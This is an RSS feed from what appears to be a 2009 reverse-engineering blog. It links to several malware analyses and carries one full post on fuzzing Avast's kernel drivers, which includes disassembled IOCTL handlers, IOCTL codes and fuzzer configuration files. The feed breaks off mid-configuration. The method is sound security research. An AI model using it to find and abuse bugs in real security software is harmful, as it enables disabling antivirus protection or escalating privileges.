<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Evilcodecave's Weblog</title>
	<atom:link href="http://evilcodecave.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://evilcodecave.wordpress.com</link>
	<description>Just another RCE  Weblog</description>
	<lastBuildDate>Tue, 03 Nov 2009 12:08:34 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='evilcodecave.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/7455ac45d99d8f9e422b48e24419409b?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>Evilcodecave's Weblog</title>
		<link>http://evilcodecave.wordpress.com</link>
	</image>
			<item>
		<title>[Crimeware] Researches Reversing about Eleonore Exploit Pack</title>
		<link>http://evilcodecave.wordpress.com/2009/11/03/crimeware-researches-reversing-about-eleonore-exploit-pack/</link>
		<comments>http://evilcodecave.wordpress.com/2009/11/03/crimeware-researches-reversing-about-eleonore-exploit-pack/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 12:07:47 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Backdoor.Win32.Bredavi.aig]]></category>
		<category><![CDATA[crymeware]]></category>
		<category><![CDATA[Eleonore Exploit Pack]]></category>
		<category><![CDATA[GDGCavPJwlrd.pdf]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[papaanarhia.cn]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[Trojan.Win32.Sasfis.qri]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/2009/11/03/crimeware-researches-reversing-about-eleonore-exploit-pack/</guid>
		<description><![CDATA[http://evilcodecave.blogspot.com/2009/11/crimeware-researches-about-eleonore.html
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=411&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><a href="http://evilcodecave.blogspot.com/2009/11/crimeware-researches-about-eleonore.html">http://evilcodecave.blogspot.com/2009/11/crimeware-researches-about-eleonore.html</a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/411/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/411/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/411/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/411/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/411/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/411/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/411/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/411/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/411/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/411/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=411&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/11/03/crimeware-researches-reversing-about-eleonore-exploit-pack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
		<item>
		<title>[Crimeware] Researches and Reversing about Eleonore Exploit Pack</title>
		<link>http://evilcodecave.wordpress.com/2009/11/03/crimeware-researches-and-reversing-about-eleonore-exploit-pack/</link>
		<comments>http://evilcodecave.wordpress.com/2009/11/03/crimeware-researches-and-reversing-about-eleonore-exploit-pack/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 11:50:15 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[(In)Security]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/?p=409</guid>
		<description><![CDATA[
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=409&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><a href="http://evilcodecave.blogspot.com/2009/11/crimeware-researches-about-eleonore.html"></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/409/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/409/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/409/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/409/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/409/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/409/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/409/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/409/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/409/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/409/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=409&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/11/03/crimeware-researches-and-reversing-about-eleonore-exploit-pack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
		<item>
		<title>[Malware] BDS/PHP.Agent.DW.8 Dissection</title>
		<link>http://evilcodecave.wordpress.com/2009/11/02/malware-bdsphp-agent-dw-8-dissection/</link>
		<comments>http://evilcodecave.wordpress.com/2009/11/02/malware-bdsphp-agent-dw-8-dissection/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 09:24:56 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[(In)Security]]></category>
		<category><![CDATA[BDS/PHP.Agent.DW.8]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/?p=407</guid>
		<description><![CDATA[[Malware] BDS/PHP.Agent.DW.8 Dissection
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=407&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h3><a href="http://evilcodecave.blogspot.com/2009/11/malware-bdsphpagentdw8-dissection.html">[Malware] BDS/PHP.Agent.DW.8 Dissection</a></h3>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/407/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/407/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/407/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=407&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/11/02/malware-bdsphp-agent-dw-8-dissection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
		<item>
		<title>[Malware] PHP-PBot Dissection</title>
		<link>http://evilcodecave.wordpress.com/2009/11/01/malware-php-pbot-dissection/</link>
		<comments>http://evilcodecave.wordpress.com/2009/11/01/malware-php-pbot-dissection/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 10:59:57 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[(In)Security]]></category>
		<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[PBot]]></category>
		<category><![CDATA[php pBot]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/?p=405</guid>
		<description><![CDATA[Redirection : http://evilcodecave.blogspot.com/2009/11/malware-php-pbot-dissection.html
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=405&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Redirection :<a href="http://evilcodecave.blogspot.com/2009/11/malware-php-pbot-dissection.html"> <strong>http://evilcodecave.blogspot.com/2009/11/malware-php-pbot-dissection.html</strong></a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/405/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/405/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/405/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/405/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/405/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/405/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/405/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/405/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/405/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/405/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=405&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/11/01/malware-php-pbot-dissection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
		<item>
		<title>Swimming into Trojan and Rootkit GameThief.Win32.Magania Hostile Code</title>
		<link>http://evilcodecave.wordpress.com/2009/10/02/swimming-into-trojan-and-rootkit-gamethief-win32-magania-hostile-code/</link>
		<comments>http://evilcodecave.wordpress.com/2009/10/02/swimming-into-trojan-and-rootkit-gamethief-win32-magania-hostile-code/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 05:29:14 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[Reverse Code Engineering]]></category>
		<category><![CDATA[hostile code]]></category>
		<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[malware reverse engineering]]></category>
		<category><![CDATA[megania]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[Trojan]]></category>
		<category><![CDATA[Trojan-GameThief.Win32.Magania]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/2009/10/02/swimming-into-trojan-and-rootkit-gamethief-win32-magania-hostile-code/</guid>
		<description><![CDATA[Redirection:
http://evilcodecave.blogspot.com/2009/10/swimming-into-trojan-and-rootkit.html
Regards,
Giuseppe &#8216;Evilcry&#8217; Bonfa&#8217;
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=402&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Redirection:</p>
<p><strong><a href="http://evilcodecave.blogspot.com/2009/10/swimming-into-trojan-and-rootkit.html">http://evilcodecave.blogspot.com/2009/10/swimming-into-trojan-and-rootkit.html</a></strong></p>
<p>Regards,</p>
<p>Giuseppe &#8216;Evilcry&#8217; Bonfa&#8217;</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/402/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=402&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/10/02/swimming-into-trojan-and-rootkit-gamethief-win32-magania-hostile-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
		<item>
		<title>Device Drivers Vulnerability Research, Avast a real case</title>
		<link>http://evilcodecave.wordpress.com/2009/09/24/device-drivers-vulnerability-research-avast-a-real-case/</link>
		<comments>http://evilcodecave.wordpress.com/2009/09/24/device-drivers-vulnerability-research-avast-a-real-case/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 09:23:25 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[(In)Security]]></category>
		<category><![CDATA[C / C++ (Visual Studio Based) Coding]]></category>
		<category><![CDATA[Debugging & Disassembling]]></category>
		<category><![CDATA[Driver Coding]]></category>
		<category><![CDATA[Reverse Code Engineering]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[Device Drivers Vulnerability Research]]></category>
		<category><![CDATA[Kernel Mode]]></category>
		<category><![CDATA[Real Case]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/?p=394</guid>
		<description><![CDATA[In the past days I worked intensively on Antivirus&#8217;s Device Drivers bugs, at the actual state of art the major part of well known AVs suffer of basical and more hidden bugs. The totality of AVs that I&#8217;ve checked presents defects that could be maliciously used to takeover an Antivirus Infrastructure and in some case [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=394&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>In the past days I worked intensively on Antivirus&#8217;s Device Drivers bugs, at the actual state of art the major part of well known AVs suffer of basical and more hidden bugs. The totality of AVs that I&#8217;ve checked presents defects that could be maliciously used to takeover an Antivirus Infrastructure and in some case the entire Operating System with attacks like DoS and/or Remote/Local Privilege Escalation.</p>
<p>I want to make a precisation here, exists an important difference between Bug and Vulnerability, simply bugs does not affects the integrity of a system and does not constitute a true danger. Vulnerabilities constitutes an effective risk for systems integrity, included informations contained inside it. When we are dealing with applications specifically devoted to security, every bug could be considered a vulnerability, because an attacker could block/kill overcome checks performed by the application itself and propagate in system and produce damages. Just think to a basical crash that could affect an Antivirus could be implemented into a malicious application that checks the presence of AVs and induces the bug.</p>
<p>In this little post we are going to see some defects of last device drivers used by Avast, I&#8217;m precisely talking of</p>
<ul>
<li>Build Number: 4.8.1351.0</li>
</ul>
<p>Avast loads the following drivers:</p>
<ul>
<li><strong>Aasvmker4.sys</strong></li>
<li><strong>aswMon2.sys</strong></li>
<li><strong>aswRdr.sys</strong></li>
<li><strong>aswSP.sys</strong></li>
</ul>
<p>Avast loads the following Drivers could be tested by fuzzing IOCTLs, for this task could be used IOCTL Fuzzer and Kartoffel. Let&#8217;s disassemble the first driver, Aavmker4.sys that from DeviceIoControl hook appears to be heavy used. This is the DriverEntry()drivers</p>
<p>00010748       mov     eax, [ebp+DriverObject]<br />
0001074B       push    offset NotifyRoutine ; NotifyRoutine<br />
00010750       mov     dword ptr [eax+70h], offset sub_1098C ; <span style="font-weight:bold;">DriverObject-&gt;MajorFunction[14] = (PDRIVER_DISPATCH)sub_1098C;</span><br />
00010757       call    <span style="font-weight:bold;">PsSetCreateProcessNotifyRoutine</span></p>
<p>sub_1098C contains the switch statement to handle various IOCTL notifications, essentially IOCTL check is structured in form of nested If and Switches.</p>
<p>001098C ; int __stdcall sub_1098C(int, PIRP Irp)<br />
000109C4    mov     ecx,<span style="font-weight:bold;"> 0B2D6002Ch</span><br />
000109C9    cmp     eax, ecx<br />
000109CB    ja      loc_10D12<br />
000109D1    jz      loc_10CE9</p>
<p><!--  		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } -->Checks if IOCTL is less or equal to 0&#215;0B2D6002C, if condition is true checks if IOCTL is exactly 0&#215;0B2D6002C a certain task is performed by the device driver and finally ends with a classical<br />
epilogue:</p>
<p>IofCompleteRequest(X, 0);<br />
return value;</p>
<p>By monitoring Aavmker4.sys activity, with a DeviceIoControl hook emerges that the most used IOCTLs are:</p>
<ul>
<li><strong>0xB2D60030</strong></li>
<li><strong>0xB2D60034</strong></li>
</ul>
<p>Now we have two possibilities the first is to fuzz these IOCTLs and check crash dump if happens and after check code for more details, the second possibility is to invert the check order.</p>
<p>This the xml configuration to test Aavmker4.sys</p>
<p><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } --></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;allow&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;drivers&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;entry&gt;Aavmker4.sys&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/drivers&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> </span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;devices&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;entry&gt;\Device\AavmKer4&lt;/entry&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/devices&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> </span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;!&#8211;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong> IRP I/O Control Code</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&#8211;&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;ioctls&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;entry&gt;0xb2d60030&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;entry&gt;0xb2d60034&lt;/entry&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/ioctls&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> </span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> </span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;processes&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;entry&gt;ashServ.exe&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/processes&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/allow&gt;</strong></span></span></span></p>
<p>launch fuzzer and Avast Scan, as you can see Driver resists to Fuzzing attempts, its time to see code referred to 0xB2D60030 and 0xB2D60034.</p>
<p><strong>0xB2D60030</strong></p>
<p><span style="font-weight:bold;">00010D25    cmp     eax, 0B2D60030h</span><br />
00010D2A    jz      short loc_10DA8<br />
00010D2C    cmp     eax, 0B2D60034h<br />
00010D31    jz      short loc_10D5B</p>
<p>00010DC5     mov     edi, [ebx+0Ch]<br />
<span style="font-weight:bold;">00010DC8     cmp     esi, 878h</span><br />
00010DCE     jz      short loc_10DDA  ;Check buffer size<br />
00010DD0     push    offset aIoctl_aavm_sta ; &#8220;******* IOCTL_AAVM_START_REQUEST_AND_SE&#8221;&#8230;<br />
00010DD5     jmp     loc_10ABA  ;Jump to Io Completion</p>
<p>If buffer size differs from <span style="font-weight:bold;">878</span>h Dbg Prints an error message, else supplied buffer is correctly sanitized via <span style="font-weight:bold;">MmUserProbeAddress</span>, <span style="font-weight:bold;">MmIsAddressValid</span>. We can say that this IOCTL is correctly handled.</p>
<p><span style="font-weight:bold;">0xB2D60034</span>:</p>
<p>00010D5B      cmp     esi, 8<br />
00010D5E      jnz     loc_10AC0   ;If differs from 8 return STATUS_INVALID_PARAMETER<br />
00010D64      call    PsGetCurrentProcessId</p>
<p>Now let&#8217;s test <span style="font-weight:bold;">aswSP.sys</span>. In Device Driver vulnerabilty research it&#8217;s fundamental to have a complete log of all activities of a driver, this can be obtained by correctly planning a battery of test unit. Each test should correspond to a primitive logic operation performed by an application that makes use of driver. I usually build several mini logs for each activity and finally a complete log. Here a little list of monitoring primitives:</p>
<ul style="font-weight:bold;">
<li>On Load</li>
<li>On apparent Idle</li>
<li>On Working</li>
<li>On Shutdown</li>
<li>Various, like On Surprise Stop</li>
</ul>
<p>This will give us a complete report of all activities and involved IOCTL. In the specific case of aswMon2.sys we can isolate the following:</p>
<ul style="font-weight:bold;">
<li>0xb2c80018</li>
<li>0xb2c80014</li>
<li>0xb2c80020</li>
<li>0xB2c800C0</li>
<li>0xB2c800C4</li>
<li>0xB2c800C8</li>
</ul>
<p>From IOCTL Logger we can see that 0xB2c800C0 is heavly used, time to locate Ioctl Dispatcher:</p>
<p>0001178B     and     dword ptr [ebx+34h], 0<br />
0001178F     mov     dword ptr [ebx+6Ch], offset sub_11FB6<br />
00011796     mov     dword ptr [ebx+28h], offset off_18988</p>
<p>C like:<br />
v2-&gt;DriverUnload = 0;<br />
v2-&gt;MajorFunction[13] = (PDRIVER_DISPATCH)sub_11FB6;<br />
v2-&gt;FastIoDispatch = (PFAST_IO_DISPATCH)&amp;unk_18988;</p>
<p>with a bit of research we land to sub_10B82 that contains the switch for Ioctls.</p>
<p><span style="font-weight:bold;">00010BBD     mov     eax, 0B2C80018h</span><br />
00010BC2     cmp     ecx, eax<br />
00010BC4     push    edi<br />
00010BC5     ja      loc_11066<br />
00010BCB     jz      loc_10F70<br />
<span style="font-weight:bold;">00010BD1     cmp     ecx, 0B2C80008h</span><br />
00010BD7     jz      short loc_10C3C<br />
<span style="font-weight:bold;">00010BD9     cmp     ecx, 0B2C8000Ch</span><br />
00010BDF     jz      short loc_10C16<br />
<span style="font-weight:bold;">00010BE1     cmp     ecx, 0B2C80010h</span><br />
00010BE7     jz      short loc_10BFF<br />
<span style="font-weight:bold;">00010BE9     cmp     ecx, 0B2C80014h</span><br />
00010BEF     jnz     loc_111AC<br />
00010BF5     call    sub_108BC<br />
00010BFA     jmp     loc_11055</p>
<p>From logs emerged that the most frequently used is 0B2C8000C so it&#8217;s obvious that we will study this for first:</p>
<p><span style="font-weight:bold;">0xB2C8000C:</span></p>
<p>00010C16                 cmp     [ebp+arg_C], 1448h<br />
00010C1D                 jnz     loc_111AC ;check len<br />
00010C23                 mov     esi, [ebp+SourceString]<br />
00010C26                 mov     ecx, 512h<br />
00010C2B                 mov     edi, offset dword_18A58<br />
00010C30                 rep movsd<br />
00010C32                 call    sub_108F0<br />
00010C37                 jmp     loc_112C1 ;go out</p>
<p>In this case user supplied input is correctly sanitized, so <span style="font-weight:bold;">0xB2C8000C</span> can be excluded from fuzz testing. From the log On Shutdown emerged the massive presence of 0xB2c80018, so let&#8217;s fuzz it. Here the configuration for IOCTL Fuzzer:</p>
<p><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } --></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;windows-1251&#8243;?&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;cfg&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT">
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;log_file&gt;C:\ioctls.txt&lt;/log_file&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT">
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;hex_dump&gt;true&lt;/hex_dump&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT">
